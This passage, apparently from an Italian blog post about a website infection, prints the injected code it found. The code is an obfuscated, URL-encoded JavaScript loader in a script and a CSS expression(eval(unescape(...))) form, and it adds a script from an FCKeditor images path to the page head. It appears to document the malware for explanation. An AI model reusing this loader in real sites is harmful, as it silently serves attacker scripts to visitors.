#339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">66</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">79</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">68</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">76</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>3D<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">45</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">70</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">41</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">62</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>2C<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">77</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6B<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">46</span><span style="color: #339933;">%</span><span style="color:#800080;">43</span><span style="color: #339933;">%</span>4B<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">66</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">68</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span>6B<span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">41</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">62</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>2C<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">45</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">42</span><span style="color: #339933;">%</span><span style="color:#800080;">79</span><span style="color: #339933;">%</span><span style="color:#800080;">54</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span>4E<span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">68</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">30</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">70</span><span style="color: #339933;">%</span><span style="color:#800080;">70</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">43</span><span style="color: #339933;">%</span><span style="color:#800080;">68</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>7D<span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #0000ff;">'));
/* a995d2cc661fa72452472e9554b5520c */</span></pre></td></tr></table></div>

<p class="bbcode">Mentre nei <strong>Fogli di Stile (.css)</strong> viene inserito questo codice:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">/* a0b4df006e02184c60dbf503e71c87ad */</span>
body <span style="color: #009900;">&#123;</span> margin<span style="color: #339933;">-</span>top<span style="color: #339933;">:</span> expression<span style="color: #009900;">&#40;</span><span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span>unescape<span style="color: #009900;">&#40;</span>’<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">66</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">21</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">45</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">42</span><span style="color: #339933;">%</span><span style="color:#800080;">79</span><span style="color: #339933;">%</span><span style="color:#800080;">49</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>7B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">31</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>3D<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">35</span><span style="color: #339933;">%</span><span style="color:#800080;">39</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">32</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>3D<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">32</span><span style="color: #339933;">%</span><span style="color:#800080;">36</span><span style="color: #339933;">%</span><span style="color:#800080;">30</span><span style="color: #339933;">%</span><span style="color:#800080;">34</span><span style="color: #339933;">%</span><span style="color:#800080;">36</span><span style="color: #339933;">%</span><span style="color:#800080;">32</span><span style="color: #339933;">%</span><span style="color:#800080;">38</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">33</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>3D<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">77</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6B<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">46</span><span style="color: #339933;">%</span><span style="color:#800080;">43</span><span style="color: #339933;">%</span>4B<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">66</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">79</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">68</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">76</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>3D<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">45</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">70</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">41</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">62</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>2C<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">77</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6B<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">46</span><span style="color: #339933;">%</span><span style="color:#800080;">43</span><span style="color: #339933;">%</span>4B<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">66</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">68</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span>6B<span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">41</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">62</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>2C<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">45</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">42</span><span style="color: #339933;">%</span><span style="color:#800080;">79</span><span style="color: #339933;">%</span><span style="color:#800080;">54</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span>4E<span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">68</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">30</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">70</span><span style="color: #339933;">%</span><span style="color:#800080;">70</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">43</span><span style="color: #339933;">%</span><span style="color:#800080;">68</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>7D<span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #0000ff;">'))) }
/* a995d2cc661fa72452472e9554b5520c */</span></pre></td></tr></table></div>

